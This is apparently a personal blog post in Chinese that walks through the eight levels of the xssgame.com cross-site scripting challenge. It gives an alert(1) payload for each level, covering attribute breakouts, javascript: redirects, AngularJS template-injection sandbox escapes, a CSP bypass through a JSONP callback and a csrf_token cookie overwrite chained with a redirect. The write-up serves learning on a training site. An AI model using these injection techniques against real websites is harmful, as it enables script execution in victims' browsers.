xss挑战赛小记 0x03(xssgame)

0x00

继续做xss吧

这次是xssgame

地址 http://www.xssgame.com/

一共八关 学到了很多东西

 

0x01

啥也没有

<svg/onload="alert(1)">

 

0x02

显然是这个点了

');alert(1)('       就行了  多个属性用分号间隔

换行回车也行

 

0x03

换图片的时候发现#1 这个东西 找了下显然是这个点

双引号没有成功 试了下单引号

#1.jpg' onload="alert(1)"  然后就是这样了

 

0x04

welcomewelcome下有个sign up  点击到singup下  signup?next=confirm 输入email之后到confirm下 自动跳转 confirm?next=welcome

一直是这样的循环  confirm下是一个自动跳转到welcome的 

想到了伪协议 javascript:alert(1) 这就弹了

 

0x05

 

发现表单里还有两个隐藏的input

但是输入好像都不行

没辙看了wp 发现是一个angular js模板注入 

ng-non-bindable这个下所有的属性都不会解析怪不得怎么闭合都没用

在campaign这个参数下

google出来的payload

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} 不能弹

但是wp给的payload可以

{{$eval(%27alert(1)%27)}}

两个隐藏的input的name参数都可以弹

 

0x06

还是angular模板 找了对应版本的注入payload

发现不行

单引号被转为实体字符了

试了一下get发送参数 发现会显示在form上

但是{会被吃掉

wp的意思是因为会经过模板的渲染 所以可以用实体字符

&lcub;用来代替{

&lcub;&lcub;a=%27constructor%27;b=&lcub;};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,%27alert(1)%27)()}}

&lcub;&lcub;$eval(%27alert(1)%27)}}

 

0x07

 这道题说的是csp的绕过

Content-Security-Policy:default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/

观察页面 可见?menu=YWJvdXQ=  后面的参数会被base64解码

<script src="jsonp?menu=about"></script>这个东西就比较有意思了

搜了一下jsonp xss 提到了jsonp有个callback这个参数可能导致xss

传参给menu经过base加密的就好了

<script src="jsonp?callback=alert(1)"></script>

 

0x08

csp和前一题没有区别

有两个表单发给不同的地方 set和transfer

transfer的amount参数要求为数字 如果不为数字则会被显示

像是一个xss的点

插入xss代码发现不允许弹框 因为csrf_token的问题

仔细观察可以发现set表单下有些东西

首先可以设置name

同时设置的东西是存在cookie里面的

这样就可以控制csrf_token

其次redirect是控制跳转的

这样就可以通过设置csrf_token然后跳转到transfer下弹框

set?name=csrf_token&value=xx&redirect=transfer?name=attacker&amount=xxx"><script>alert(1)</script>&csrf_token=xx

但是不知道为啥 如果符号不经过url编码就不能成功

 

0x0X

这次其实还是一般参考了wp

暂时也只能做得出来简单的xss了

但是还是学习了一些新的姿势

posted @ 2017-09-13 21:56  slpawn  阅读(207)  评论(0编辑  收藏  举报